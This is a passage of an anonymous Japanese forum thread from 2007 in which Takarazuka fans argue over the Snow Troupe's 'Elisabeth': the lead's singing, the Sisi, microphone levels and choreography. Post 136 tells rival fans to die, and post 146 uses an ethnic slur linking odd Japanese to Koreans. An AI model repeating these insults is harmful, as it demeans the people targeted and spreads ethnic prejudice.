112 ：名無しさん＠花束いっぱい。：2007/06/13(水) 22:30:12 ID:NfM3ggSV

申し訳ない
一言だけでもいただきたい！

113 ：名無しさん＠花束いっぱい。：2007/06/13(水) 22:31:21 ID:f5wreVno

>>112
じゃあ一言
「ここのネガティブ意見は参考にするな」

114 ：名無しさん＠花束いっぱい。：2007/06/13(水) 22:35:42 ID:NfM3ggSV

はい、さかのぼって読んでみたんですけど訳分からなくなり、質問いたしました。
そうですね、とにかく楽しんでこようと思います。有り難う

115 ：名無しさん＠花束いっぱい。：2007/06/13(水) 22:56:39 ID:n4OAxx5D

>>110
あまり先入観を持たず、まっさらな気持ちで観てきてください。
楽しんでくるがよろし。

116 ：名無しさん＠花束いっぱい。：2007/06/13(水) 22:57:04 ID:8S2tQD6e

じゅりぴょんは歌も演技もうまかったと思うけど
位の高い人には見えなかったのが残念。
私はフランツにこそビジュアルを求めたい。
その方が「素敵な王子様と結ばれました。ﾒﾃﾞﾀｼﾒﾃﾞﾀｼ…と思いきやぁぁぁぁぁ！」
という悲劇性が増して良い。
極論的には美形王子タイプならそれだけでOK！と言いたい所だが
フランツの歌は地味に難しいからそれじゃダメなんだよね…

117 ：名無しさん＠花束いっぱい。：2007/06/13(水) 23:42:30 ID:7uGu+P+d

>>102
水アンチへの助言かな？

まぁ水基地は、盲目的すぎるから102は助言したんだね。

118 ：名無しさん＠花束いっぱい。：2007/06/14(木) 00:08:13 ID:9w4sKThj

>>110
ドクターセーブルガーのマント裏地見せ攻撃はお見逃しなく！
一瞬だけどカッコイイヨー

119 ：名無しさん＠花束いっぱい。：2007/06/14(木) 00:08:49 ID:M2jcF4yP

エリザ10年ぐらいやってるんですよね・・・
でも一度も観たことないよねえ
誰それのト－トがええとか、誰それのシシィがなんて聞くと観たいけど
それだけでお腹一杯
うたかたの恋で充分じゃあ～

120 ：名無しさん＠花束いっぱい。：2007/06/14(木) 00:17:01 ID:Mf3CvQC/

損な人だね～エリザの感想だけでお腹一杯なんて。

121 ：名無しさん＠花束いっぱい。：2007/06/14(木) 00:24:06 ID:1ICLHwsh

何でうたかたが？？
の前に、何ゆえこのツリーに来るのだ？　

122 ：名無しさん＠花束いっぱい。：2007/06/14(木) 00:25:37 ID:kuSGIwqP

エリザ、本気で観たらはまる演目なのに、もったいない・・・。

123 ：名無しさん＠花束いっぱい。：2007/06/14(木) 01:02:51 ID:wllkZ8r5

>>121
ここは2だｗ

124 ：名無しさん＠花束いっぱい。：2007/06/14(木) 02:05:12 ID:5ieV+csT

>>116
それこそ初演のﾕｷとかﾀｶｺとか？
自分はｶﾞｲﾁのﾌﾗﾝﾂが一番好きだったけど。

ところでｺﾏのﾄｰﾄが意外に美しい件。
さゆとのツーショットは本公っぽいクオリティの高さを感じるんだけどｗ

125 ：名無しさん＠花束いっぱい。：2007/06/14(木) 02:25:35 ID:ejfsOmrA

生で見たが正直コマトートは美しいとは思わんかったぞ。
だからと言って水が美しいわけでもまったくないが。
コマのは何かトートとは違う生物だったよ……orz

私は水トートのコートの裏地見せとか、妙な手指の動きとかを見ると、
わざとらしさを感じて全然芝居に入れない。
やっぱり歌で勝負のできんトートは嫌いだわ。
歌い始めると存在感失くすトートなんて水トートだけだわ。
いっそまりこさんやさえちゃん位下手だったらよかったのに。
下手というより弱いだけだからね。

126 ：名無しさん＠花束いっぱい。：2007/06/14(木) 08:27:20 ID:Ubrz/sJO

見所はクラーケンなドクトルと筋電図タトゥ。
小細工、感情出しすぎで死には見えない。ﾙｷｰﾆと対してかわらないよ。ただ地位があるだけの感じ。
ﾙｷｰﾆと対等の人間って感じだよなー。
閣下とは思えない

127 ：名無しさん＠花束いっぱい。：2007/06/14(木) 09:52:39 ID:kuSGIwqP

普段は冷静な閣下が、あそこで我を忘れて激昂するのがいいんじゃないの？
それ程、手に入れにくいシシィ。初めての経験なんだよ。

128 ：名無しさん＠花束いっぱい。：2007/06/14(木) 10:09:19 ID:dT+uUd+o

125っていうかわざとらしさなんぞ感じてる暇ないわ。
127のいうとおりあそこが唯一感情あらわで激しい場面！
126ﾙｷｰﾆとﾄｰﾄじゃ空気の流れがまるで違うだろが。

みんな想像力なさすぎ。

129 ：名無しさん＠花束いっぱい。：2007/06/14(木) 10:12:12 ID:C2qofLiM

水ふぁんも、となみふぁんも、言われたら言われた分だけ言い返す。
だからここや雪ｽﾚなどでマイナス意見が一つでも出ようものなら
「見てないでしょ？」「アンチでしょ？」といろんな攻撃が来る。
そんな言論統制にはうんざりですよ。

130 ：名無しさん＠花束いっぱい。：2007/06/14(木) 10:22:30 ID:dT+uUd+o

こなければいいんでない？↑

131 ：名無しさん＠花束いっぱい。：2007/06/14(木) 10:44:39 ID:1ICLHwsh

言い返すと取るのも、なんだかだけどね～
あの場面のトート様は、プライドがズタズタなのらしい。
水トート、感情をぎりぎりまで押さえながらも、ほとばしるあの熱さ加減が絶妙なんだけどなあ。

132 ：名無しさん＠花束いっぱい。：2007/06/14(木) 15:57:27 ID:kuSGIwqP

言い返すような言い方は、悪く取られるだろうけど、
説明くらいは、してもいいよね・・・？

今日観て、その部分、やはり良かったよ。
初めの頃より、ドアを閉めた後は怒りより、苦しみが出ていた。

133 ：名無しさん＠花束いっぱい。：2007/06/14(木) 16:05:13 ID:lRcE4HGb

シシィが強くなったからトートの激情が浮かなくなったんだと思う。
そしてフランツは悲愴になり、
ルドルフは悲劇の皇太子になり、
ゾフィは初めはムキになってる様に見え、後に負けて弱弱しく見える。
やっぱり、シシィありきなんだよ。
タイトルロールだもん。
まだまだ足りない所はあるだろうけど、となみよくなってるよ。

134 ：名無しさん＠花束いっぱい。：2007/06/14(木) 16:21:55 ID:kuSGIwqP

うん、今日はかなり良くなってた。
最後の昇天のあたり、長い苦しみ（トートもシシィも）の後だからか
とみに良いシーンだと感じるようになってきた。

135 ：名無しさん＠花束いっぱい。：2007/06/14(木) 19:01:10 ID:9K96vW3j

エリザ観てきました。ヅカ好きですが、めっちゃ知ってるわけでないので、
あだ名じゃないです。すんません。
個人的意見なので、あくまで参考程度で。ちなみにアンチで誰とかではなく、あくまで個人的意見です。

トート・・・水さん
本人比では、歌上手くなっている。彩輝さんがあと２年やってたらこれくらい歌えるかなて感じです。

エリザ・・・ゆりさん
悪い評価聞くのですが、個人的には一番よかったです！めっちゃ強いエリザって感じでした。歌は上手い！
それだけにトップが水さんなのが、残念です。

フランツ・・・まおさん

印象薄いです。後半になるにつれてよくなったと思うんですが。。。わおさんも印象に残らなかったですが、まおさんも負けてないかも。
別にアンチではなく素直な印象です。でも歌は上手いです。

ルキー二・・・・桂さん
無難。以外言えませんwまあ、安心です。怪しさが少ないルキーニです。

ルド・・・かなめさん
朝海さんに手ほどき受けているので、歌下手劇下手の勝手なイメージでしたが、「闇が広がる」水さん食われてました。
個人的にはなかなか良かったです。彩輝さんがトップの新人公演北翔さんのほうがええやんwと同じ現象が、
雪組でも起きていたのかと思いました。

雪組のみなさんコーラスが良いです！！！！だからこそ、歌えるトップを！と思います。
水さんが、「ミルク」や「す～べて～の不幸を」でコーラスと水さんが歌う時ブルーでした。。。
アンチではないですが、エリザは歌えるトップでやって欲しいです。水さんではなく安蘭さんだったら、、、と思いました。
予想より、遥かによかったです。

136 ：名無しさん＠花束いっぱい。：2007/06/14(木) 19:19:35 ID:9u/x01Hc

とうこファン氏ね

137 ：名無しさん＠花束いっぱい。：2007/06/14(木) 19:19:55 ID:sWxfsW7i

ここより8向きだな。

138 ：名無しさん＠花束いっぱい。：2007/06/14(木) 19:26:36 ID:9K96vW3j

＞136
いや、そういう訳でもないです
もう一回やれるならスミレさんでもいいです
歌下手なので、演技で評価するしかない
ミュージカル観るのがが辛いんです

139 ：名無しさん＠花束いっぱい。：2007/06/14(木) 19:32:11 ID:9K96vW3j

＞136
ちなみに今一番好きなトップは大和さんです。
しかし、歌はこの世の終わりくらいのクソ以外の何者でもありませんが、一番好きです。
宝塚好きですが、盲目的ではなく結構客観的に観ていると思います。

140 ：名無しさん＠花束いっぱい。：2007/06/14(木) 19:34:02 ID:md/sl8d3

135
とりあえず日本語でおｋ

141 ：名無しさん＠花束いっぱい。：2007/06/14(木) 19:57:10 ID:Mgnjc3MF

歌重視なのに、タニ好きとは盲目的以外にナニがあると言うのか

142 ：名無しさん＠花束いっぱい。：2007/06/14(木) 20:02:17 ID:1+GXBbbS

タニのファンっていうのは真っ赤なうそでしょ。
あれだけ、いろんな人のファンにけんか売っていて、
誰のファンかなんて書くばかはいない。

143 ：名無しさん＠花束いっぱい。：2007/06/14(木) 20:05:14 ID:9u/x01Hc

タニファンなんて真っ赤な嘘
どうみてもとうこファンだろ？

144 ：名無しさん＠花束いっぱい。：2007/06/14(木) 20:09:08 ID:t5gNPk8+

>135>138>139
確かに、ちょっと日本語おかしいですね。
こんなとこでわざわざファンだと言われるタニが可哀相

145 ：名無しさん＠花束いっぱい。：2007/06/14(木) 20:18:23 ID:qkrB9zpU

桂さん、と書かれてｷﾑではなく桂三枝やら桂小枝が浮かんでしまった漏れorz

146 ：名無しさん＠花束いっぱい。：2007/06/14(木) 20:19:44 ID:9u/x01Hc

日本語がおかしい＝朝鮮人
ミズを妬んだとうこファンだね。
チビで下品な年寄りトートなんて誰も見たくないわ！

147 ：名無しさん＠花束いっぱい。：2007/06/14(木) 20:21:50 ID:lRcE4HGb

>歌はこの世の終わりくらいのクソ以外の何者でもありませんが
これが好きな人に言う言葉か？

148 ：名無しさん＠花束いっぱい。：2007/06/14(木) 20:49:50 ID:vDivt6z3

質問なんですが、エリザベーとの東京、日曜お昼公演は、男性客は少ないでしょうか？
彼を連れていくのですが、若造なので回りが気になるかと思って…
スレ違いでしたらすみません。

149 ：名無しさん＠花束いっぱい。：2007/06/14(木) 20:55:56 ID:yOcmZd38

>>148
そんなの幕が開いてみないとわからない　（まあ普通の演目よりは男性多いかも）
幕間なんかは気になるかもしれんが、みんな舞台を見に来てるんだから
客席に男が少ないとか多いとか、気にしなくてよろしい。

150 ：名無しさん＠花束いっぱい。：2007/06/14(木) 21:03:26 ID:f+HhEBFe

>>148
土曜昼の大劇場にダンナを連れて行ったけど、
ちらほら男性の姿もあって、
そんなに居心地悪くなかったそうです。

エリザベートじゃなかったけど、東京の昼公演で、
隣と前が男だったこともあるし、
男２人で観にいく予定の知り合いもいる。

ということで、そんなに気にしなくていいんじゃないかなぁ。

151 ：名無しさん＠花束いっぱい。：2007/06/14(木) 21:04:01 ID:kuSGIwqP

日本語が変だな・・・それでいてタニの名前出すし。
朝海さんに手ほどきを受けてたら、歌下手劇下手って・・・
雪組に喧嘩を売っているとしか思えないよ・・・！

152 ：名無しさん＠花束いっぱい。：2007/06/14(木) 21:18:19 ID:dT+uUd+o

ｴﾘｻﾞの熱気にいちゃもんつけたいだけ。
うなづけるだけの説得力がまるでない意見などほっとこ。

153 ：名無しさん＠花束いっぱい。：2007/06/14(木) 21:22:10 ID:xYotLoaP

熱気？
今回はあまり感じないな。

154 ：名無しさん＠花束いっぱい。：2007/06/14(木) 22:08:13 ID:DSH9Irwf

客の反応も薄いよね
ウィーン版も見に行っただけに余計に温度の差を感じてしまう

155 ：名無しさん＠花束いっぱい。：2007/06/14(木) 22:38:22 ID:4Wmti4aT

今回、大劇場は男性かなり多かったよ。
一度ひとりで行った日に、若いおにーちゃん二人連れと
ご夫婦連れの旦那さんに挟まれてびっくりした。
カップルも多かったし、そんな心配しないで楽しんできてね～！

156 ：名無しさん＠花束いっぱい。：2007/06/15(金) 01:25:47 ID:CE/ZApw1

>>154インパクトに欠けるというか、見た後に何も残ってないのかも？

極端に悪くなく、かといって及第店には程遠いって感じなのか。

157 ：名無しさん＠花束いっぱい。：2007/06/15(金) 02:15:10 ID:wS6FzEo2

及第店w
いっちょまえに批判するなら笑われんようにな。

158 ：名無しさん＠花束いっぱい。：2007/06/15(金) 08:14:40 ID:ziP73TwK

日によって、団体も入っているので、温度差はあるかもだけど
でも、皆さん終わった後は、ためいきや、満足そうなお顔を見せてくれます。
昨日も、初見、という方と隣り合わせでしたが、歓声こそ上げませんが
すごくいい笑顔で、顔を見合わせて別れました。

これからご覧になる方は、楽しみにされてください。

159 ：名無しさん＠花束いっぱい。：2007/06/15(金) 09:41:42 ID:v7g1S3Xu

うすいんでなくて、陶酔しちゃってるんだろ。友達魂もってかれそうだったと興奮。

160 ：名無しさん＠花束いっぱい。：2007/06/15(金) 10:12:37 ID:357vxc2r

コーラスは随分迫力出てきたね。
となみもましになったし。
でも水のあの自己陶酔の変な演技と、
ねっちょりした気持ちの悪い歌は不快だわ。
本当に声を発っしないでほしい。
指の動きは綺麗だったけど。
マイク音量とエコーは耳障りだし、声が出なくなったんなら、愛と死のロンドなんてカットしたら？
その分Hassを入れてほしい。
キムとハマコは最高にいい。
ユミコちゃんは地味だけど、彼女の背中は泣けるほどいいよ。

161 ：名無しさん＠花束いっぱい。：2007/06/15(金) 10:23:51 ID:ptkF+uaL

ウィーン版ではHassは必要かもしれんが
宝塚ストーリーの流れでは　必要ない。

エコーで一番気になるのは裁判官の声、
エコーかかりすぎで　何言ってるのかわかりにくい。

あと　気になったこと
マダムヴォルフの黒天使の鳥さんふたり　踊り合わせてくれ
一度たりと二人が合っているの観たことない

「エーヤン!エリザベーーツッ!」叫んでる甲高い声
男のカッコしてるのにあの高い声　なんとかならんか

162 ：名無しさん＠花束いっぱい。：2007/06/15(金) 11:30:20 ID:VYMnjJSF

キムルキーニのマイク音量下げてほしい。
２階で観てても、きんきん響いて音が大きすぎる箇所が多々ある。
私の前列の人、耳をふさいでたよ。
音響の人は、全体のバランスを考えて音量調節してくれないかなあ。
あと裁判官も、何言ってるのか聞き取りにくい。

163 ：名無しさん＠花束いっぱい。：2007/06/15(金) 11:53:17 ID:k8FjnzG5

>155
僕も男です！初エリザよかったです☆
大劇場には男６人連れとかいましたw

初代雪組はもっとすごかったんでしょうね
観たかったなぁ

164 ：名無しさん＠花束いっぱい。：2007/06/15(金) 12:23:46 ID:Rezq5YIZ

キムのマイク音量は特に大きく感じなかったよ。
歴代あんなもん。
ただでさえ水のマイク音量大の中、キム音量これ以上さげっちゃッたら、ルキーニの存在感が薄くなっちゃうよ。
それはちょっとキムかわいそう。

165 ：名無しさん＠花束いっぱい。：2007/06/15(金) 12:39:14 ID:klOYwTXS

ミズは自分の声質を活かした歌い方をしていて、それがミズが創ったトートと
よく合ってるなあと思った。

166 ：名無しさん＠花束いっぱい。：2007/06/15(金) 14:26:36 ID:CE/ZApw1

点って打ったはずだったんだがorz
漢検2級が聞いて呆れるぜ(ノД`)
逝ってくる～

167 ：名無しさん＠花束いっぱい。：2007/06/15(金) 14:37:50 ID:q35nqj9Y

水は自己プロデュースが抜群に上手いと、トート観て思った。

168 ：名無しさん＠花束いっぱい。：2007/06/15(金) 15:29:31 ID:tsRRqd2N

タニの歌が気にならない時点でミズ(に限らず)の歌をどうこう言う資格はないと思う

169 ：名無しさん＠花束いっぱい。：2007/06/15(金) 15:32:49 ID:tsRRqd2N

携帯でリロ遅れしました、ごめんなさい。

170 ：名無しさん＠花束いっぱい。：2007/06/15(金) 16:05:41 ID:g+utQftt

>167
と思ってたんだけど､全部イケコと振り付け家の指導らしい｡
そう言えば､ベルばらのアンドレ死に方一人変えたのも､植田の指導だったよな>水

171 ：名無しさん＠花束いっぱい。：2007/06/15(金) 16:18:38 ID:hXHXKefd

全部がイケコと振付家の指導とは、誰も言ってないような…ｗ

172 ：名無しさん＠花束いっぱい。：2007/06/15(金) 16:23:29 ID:g+utQftt

前のほう読めば殆どイケコの提案てことわかるよ｡
あのきれいな指の動きすら振り付け家がつけたものって書いてあった｡

173 ：名無しさん＠花束いっぱい。：2007/06/15(金) 16:28:00 ID:ZuWPobr+

エリザベートがヒステリーに見えたけど。
花總・白城はビデオ鑑賞、瀬奈は生で観劇（大鳥は未見)
演出が変わったのかしら?
いずれにせよブレスが気になった

174 ：名無しさん＠花束いっぱい。：2007/06/15(金) 16:40:22 ID:HyzFCttJ

>172
>殆どイケコの提案

170では「全部イケコと振り付け家の指導らしい｡」って言ってたのに
突っ込まれたら172では「殆ど」になってるｗ
いずれにしても、ミズの自己プロデュースがうまいことには変わりはないけど

175 ：名無しさん＠花束いっぱい。：2007/06/15(金) 16:47:23 ID:g+utQftt

>174
屁理屈言う前に､自分が水かばいたさに頭きぃ～っとなって遡って見ることをしなかったってこと…認めたら？
wつけて勝った気分を演出しようとしてる人に限って…心中必死なんだよねぇ…

176 ：名無しさん＠花束いっぱい。：2007/06/15(金) 16:52:12 ID:k8FjnzG5

関係ない事で悪いんやが、
めっちゃ聞きたいんやけど
殆どの書き込みは女性よな？？
ここでは女性の裏の顔（素顔）みれますな（逝）

177 ：名無しさん＠花束いっぱい。：2007/06/15(金) 16:59:46 ID:o5dFCuCU

>>170
水アンドレの死に方は他のアンドレとどう違ったの？
スレ違いだけど気になるので教えてください。

178 ：名無しさん＠花束いっぱい。：2007/06/15(金) 17:11:24 ID:T9kMx8t7

>173
あたしもブレス気になった。

179 ：名無しさん＠花束いっぱい。：2007/06/15(金) 17:25:29 ID:LYREuJlY

正確に言うと、タトゥーは最初に水が考えた。
それが良いと、イケコが採用した。
水の手の動きが素晴らしいからという理由で
手の振り付けが増えた。

180 ：名無しさん＠花束いっぱい。：2007/06/15(金) 19:01:57 ID:ziP73TwK

>179 その通り。
アンチは、都合の良さそうな部分だけ引用するよね。

>176 女性の裏の顔、こわい？あなたの出会う女性は、違いますように。

181 ：名無しさん＠花束いっぱい。：2007/06/15(金) 20:51:07 ID:9S7OT8rz

ブレスは、以前よりマイクの性能が上がってるから
よほど上手にしないと以前より気になると思う。

今のマイクは、ミズとかタニとかにとっては救世主だろうけど。

182 ：名無しさん＠花束いっぱい。：2007/06/15(金) 21:23:27 ID:Oj0zu08m

平原綾香（字あってる？）のブレスが嫌いだったけど、
ブレスも歌唱の一部みたいな事言っててへええと思った。
まあ、平原さんとは事情が違うだろうけど。
水もシシィと出会う所ぐらいまで耳につく。

タニは元々声大きいからあんまり効果はあがらないと思うな。

183 ：名無しさん＠花束いっぱい。：2007/06/15(金) 21:25:08 ID:5hViEPim

振付家がつけた指の動きを、綺麗に出せるのがミズのパフォーマンスじゃないんだろうか…
上の論調だと、振付家に付けてもらったんじゃダメダメってこと？

184 ：名無しさん＠花束いっぱい。：2007/06/15(金) 21:44:25 ID:v7g1S3Xu

どちらにしても手指や身体表現が下手っぷうな生徒には
もともとそんな強調するような振りなんてこない。
水の手の綺麗さや腕の長さは有名。
動きもお墨付き。だからこそ活かされたわけだろうにな。

185 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:04:23 ID:LYREuJlY

振り付けの部分もあるし、水が自分で創っていったところもある。
根底には、イケコの言うところの、非常に優れた身体表現能力を、
活かそうとした方向性があったんだろうけど。
イケコ振り付け家水の三位一体でトートが模索され
それを表現者である水が具体化し、トートとして息づかせた。
そういうことでそ。

186 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:04:38 ID:NSl1nitp

まあ手の綺麗さ以外まったく取り柄のないトートだからな。
それ位は認めてやってもいいんじゃないか。

187 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:11:57 ID:PY9QUuM2

肝心要の歌唱を褒められないんだから、
身体能力が云々とか手や指の動きが綺麗とか
何かしら褒めなきゃな、大事な商品だもの。
だけど、外見だけしか褒めるところのないミュージカルってどうよ。
しかも、美しいと褒めているところがは顔や姿じゃないところが何ともはや。
あの気持ち悪いトートを褒めるのはさぞ大変だったことだろう。

188 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:14:31 ID:ziP73TwK

また、観てない人たちが湧いてきたよ～。

歌唱、良かったよ。本当に、驚いた。

189 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:16:19 ID:LYREuJlY

付け加えおくと、トートの心の傷をシンボライズしたタトゥーを施した手と
長い腕を駆使した表現は、水トートのパフォーマンスの重要なファクターの1つではあるが
それは水の演技の一部でしかない。

190 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:17:57 ID:PY9QUuM2

観たよ。だから気持ち悪いのが分かったんだろうが。
>188
耳大丈夫か？

191 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:18:15 ID:x8erZ25k

となみエリザ、可愛らしいのに意外とヒステリックだったな。
あやかエリザも所々ヒステリックに感じた記憶がある。
憧れのあやかをお手本にしたのかな。
(ヒステリックなのが悪いとは思わない)

192 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:21:42 ID:nJa8EvGP

頑なな態度が滑稽だね。

193 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:29:37 ID:H4f2JvNP

>190
ミズファンは、ミズの歌が上手く聞こえるんだよｗ

過去のミズ比で上手かったとしても
単純に歌でカンドーなんてできるレベルからは程遠いのにね。

って書くと、また見てない！とか騒ぎそうだけどｗ
歌が良かったって誉めてるﾔｼの方が、よっぽど生の舞台は見てないんじゃ？

194 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:44:01 ID:CNdwJIbW

歌ってね、上手いからといって感動できるっていうものでもないよ。

エリザでは、一路、香寿の歌はものすごく感動したけど、
歌が上手いオサの歌では感動したことがない。

195 ：名無しさん＠花束いっぱい。：2007/06/15(金) 22:50:10 ID:lEwUTN0T

おお～、ミズが大嫌いな>193でも、ミズの歌が上達したことは認めるんだ～。
良かったな、ミズよｗ

196 ：名無しさん＠花束いっぱい。：2007/06/15(金) 23:36:50 ID:KI0VfAAY

良くも悪くも本人比で上手いんだよ。
ほっといてくれよ。

日曜観た時は喉の調子が悪かったらしくダメダメちゃんだったが。
いつも後半は見てられなくなるよな…。
ｶﾞﾝｶﾞﾚ。

197 ：名無しさん＠花束いっぱい。：2007/06/15(金) 23:43:26 ID:g+utQftt

>177
村はみんなと同じ死に方だったのに､東京で水一人だけ動作というか仕草というかが一つ増えたんだ｡
私も観て村と違うって思ったし､水ファンも､当時掲示板で死に方について盛り上がってた｡
で､ファン自身が､演出家に促されてやったって事も教えてた｡
説明不足で申し訳ないが､詳しい動作内容知りたかったら別館できいてください｡

198 ：名無しさん＠花束いっぱい。：2007/06/16(土) 00:20:00 ID:4pSwIfjy

>>194で、水トートの歌で感動できたのか？
他の人はどうでもいい。
そこんところが知りたいわけだが。

199 ：名無しさん＠花束いっぱい。：2007/06/16(土) 00:25:11 ID:ScDS5zl+

>198は、観劇者」全員が、ミズの歌を嫌いじゃないと許せない人なわけ？
自分が大嫌いなんだったら、それでいいじゃん。

200 ：名無しさん＠花束いっぱい。：2007/06/16(土) 01:14:53 ID:J/yTnhwx

私もオサトートの歌はあまり好きじゃないなー
上手いけど感情移入できないんだよな
一路のが良かった
タニのお歌も感情移入出来ない…
今回の水はできたよ
シシィはアサコが結構感情移入できた
でもやっぱ初演おハナは学年的にも感心した
…あれ？話それてきたw

201 ：名無しさん＠花束いっぱい。：2007/06/16(土) 01:21:58 ID:/1J5Emrj

ミズファン、話を勝手にずらすの上手いねｗ
そっちが最初に、ミズトートは歌が×だからサイテーetc.って書いた人たちに
見てない癖に～って書いたから、見たけど×だったって書いたら
今度は、ミズアンチは、観客全員がミズの歌を嫌いじゃないと許せないわけ？
とか書くわけだ。

逆じゃん。
ミズファンが、ミズのトートを認めない人は、全員今回の雪エリザを生で見てないって決めつけたんじゃん。
おまけに歌下手生徒ファンのいつもの言い訳。
歌の上手い人の歌は必ず感動できる訳じゃないって？
当たり前じゃん。人間好き嫌いはあるんだから。
引き合いに出されてる一路も香寿も、初演のエリザは何度も見たけど、ほとんど感動なんてしなかった。
一路は、東京楽近くのだけは感動したけど。
オサのも、良かった日もあれば全然だった日もある。ズンコも同じく。

だから、歌下手な生徒の歌の方が感動するって？
冗談きつい。
トートのマリコ、サエコ、ミズの歌で感動されて貰ったことは皆無だよ。
せっかくの名曲を～！って握り拳になったことは数え切れないけど。

202 ：名無しさん＠花束いっぱい。：2007/06/16(土) 01:29:52 ID:Fi9DTsBA

ミズ、蛇みたいにねちっこいね、まで読んだ

203 ：名無しさん＠花束いっぱい。：2007/06/16(土) 01:35:28 ID:S9l0Xw5y

感動するか否かは個人の好き嫌いだとまともな事を言いつつ
201がマリコ、サエコやミズの歌に感動したという意見を全否定なのはいかがなものかと。

204 ：名無しさん＠花束いっぱい。：2007/06/16(土) 01:42:35 ID:4WLj3xvx

>201
201はミズの歌が嫌いならそれで別にかまわないんじゃないの？
感動した者がいても構わないように。

>だから、歌下手な生徒の歌の方が感動するって？
>冗談きつい。

何番のレスに、下手な生徒の歌の方が感動するって書いてあったの？

205 ：名無しさん＠花束いっぱい。：2007/06/16(土) 02:20:36 ID:4pSwIfjy

>>199別に水の歌は嫌いじゃないが。

206 ：名無しさん＠花束いっぱい。：2007/06/16(土) 02:54:21 ID:J/yTnhwx

201は必死になりすぎて矛盾に気付いてない様子w
自分の感想言うのに､押し付けがましいのはイクナイ

207 ：名無しさん＠花束いっぱい。：2007/06/16(土) 07:35:00 ID:k1NP38Sp

>201
違うよ。
188の「歌唱、良かったよ。本当に、驚いた。」という書きこみに
ミズアンチが噛み付いてみたんだよ。

190 ID:PY9QUuM2
>188 耳大丈夫か？

193 ID:H4f2JvNP
>190 ミズファンは、ミズの歌が上手く聞こえるんだよｗ
過去のミズ比で上手かったとしても
単純に歌でカンドーなんてできるレベルからは程遠いのにね。

194 ID:CNdwJIbW
歌ってね、上手いからといって感動できるっていうものでもないよ。

198 ID:4pSwIfjy
>>194で、水トートの歌で感動できたのか？
他の人はどうでもいい。
そこんところが知りたいわけだが。

208 ：名無しさん＠花束いっぱい。：2007/06/16(土) 07:47:06 ID:d6IV1atA

そもそもトートの歌には感動させるためのものってないような気がするんだが。
そういう曲はシシィの持ち歌の役割。
あとはルドルフの「僕はママの鏡だから」ぐらいじゃない？

209 ：名無しさん＠花束いっぱい。：2007/06/16(土) 08:11:47 ID:S6ebAS7Y

私も以前はトーとの歌に感情移入したことはなかった。
でも、たとえば棺シーンのあとの壁際での歌いだしあたりとか
気持ちが、すごく伝わるんだな。改めてトートの歌に注目してしまった。

今までは確かに子ルドや、夜のボートや、私だけに、に
泣いてたんだけどね。

210 ：名無しさん＠花束いっぱい。：2007/06/16(土) 11:35:50 ID:NLHKvxRB

>棺シーンのあとの壁際での歌いだしあたりとか

ここ、今回すごく良いね。ミズの歌はお世辞にも褒められないが、
このシーンは、心を動かされる歌だった。

211 ：名無しさん＠花束いっぱい。：2007/06/16(土) 12:08:39 ID:kbds8ZPb

昔、ある書物に書いてあった。
「下手が問題にならないほど切実な歌は存在する」

212 ：名無しさん＠花束いっぱい。：2007/06/16(土) 12:28:38 ID:u7o3M2nU

だが､これで初めて意味がわかった…とか…伝わってきた…とか…初めて心動かされたは､感じ方個々自由とはいえチト大袈裟すぎだと思う｡
私は一路で十分心は動かされた｡
本人比で頑張ってはいるしマイク性能もよく聞くにたえられる状態にはなっているが､史上最高空前絶後のリアルに迫る切なさではない｡
って書くと､そこまでは誰も言ってないと返ってきそうだけど､言葉は違えど「最高」くらいの意味を含む言い方してる人はいる｡
それに､歌がきけるようになったのって新公後だし｡
新公で初めて自分の役を客観的に見ることができて､刺激も感じて奮闘したのかもしれない｡

213 ：名無しさん＠花束いっぱい。：2007/06/16(土) 13:05:01 ID:9tgGqwsP

>「下手が問題にならないほど切実な歌は存在する」
水の霊廟後の銀橋は確かによかったが、
かなめがまさにこれだな。

214 ：名無しさん＠花束いっぱい。：2007/06/16(土) 13:28:19 ID:fZSgty2g

新公がどうとかはあんまり関係ないと思う。
水トートの役の深まりと歌唱の深化は、突然起きたわけじゃなくて
1週目より2週目、2週目より3週目、3週目より4週目という風に
徐々に変化していったものだからね。

215 ：名無しさん＠花束いっぱい。：2007/06/16(土) 13:36:40 ID:S6ebAS7Y

>212 ごめん、私が生で観たのは宙からだから・・・きっと一路さんのも
良かったんだろうなとは思う。
星のも観たいんだけど、CSで滅多にやらないものは、観る機会がなくてね。

216 ：名無しさん＠花束いっぱい。：2007/06/16(土) 14:10:41 ID:zWGkdHTT

＞193
水ファンだけやなくて、ヅカファンは
自分のファン全員歌だけやなく
よくみえるんちゃうか？？

217 ：名無しさん＠花束いっぱい。：2007/06/16(土) 14:26:12 ID:1tqcLs4v

私はトートに感情移入したくない。
私が感情移入したいのはシシィなんだよね。
だから感情過多に切々と歌われるのはうざい。
それでも上手ければまだいいけど、下手なので、ただひたすらうざい。
好みの問題なんだろうね。

218 ：名無しさん＠花束いっぱい。：2007/06/16(土) 14:59:14 ID:S6ebAS7Y

>217
人それぞれだから、それは別に構わないと思うけれど
うざいとか、下手とか言うのは、ちょっと失礼だと思うよ。
そんな言葉を使った時点で、説得力が無くなるものだから。

219 ：名無しさん＠花束いっぱい。：2007/06/16(土) 14:59:38 ID:XR2EjqmD

かなめの歌は、下手さを本人も自覚してか手探りするように歌うんだけど
ルドルフという役においてはそれも役に合っていてよかったと思う。

220 ：名無しさん＠花束いっぱい。：2007/06/16(土) 15:02:10 ID:VGy69wqW

私はここでは下手だとののしられるまりこやさえちゃんが
好きだった。特にまりこは、一つの「型」としてのトートを
創り上げた所が凄いと思う。
さえちゃんはとにかくビジュアルが好き。衣装も髪型もよく似合ってて
綺麗だった。型としてまりこの流れを感じる所も好きな一因かも。

こういう風にエリザが好きな奴もいるんですよ。
歌が上手くなきゃ認められないみたいなここの空気って、ちょっと
ついていけない気がするな。

221 ：名無しさん＠花束いっぱい。：2007/06/16(土) 15:21:18 ID:zWGkdHTT

>220
好きな人言われるとつらいよな
俺もわたるファンやったからねw
でもやぱりミュージカルは歌うまい人で
いってほしいのもわかる。。。
王家に捧ぐ歌DVDもCDも買ったけど
「ミュージカルはやっぱ歌うまい人で、、、」
とファンやけど思ったorz

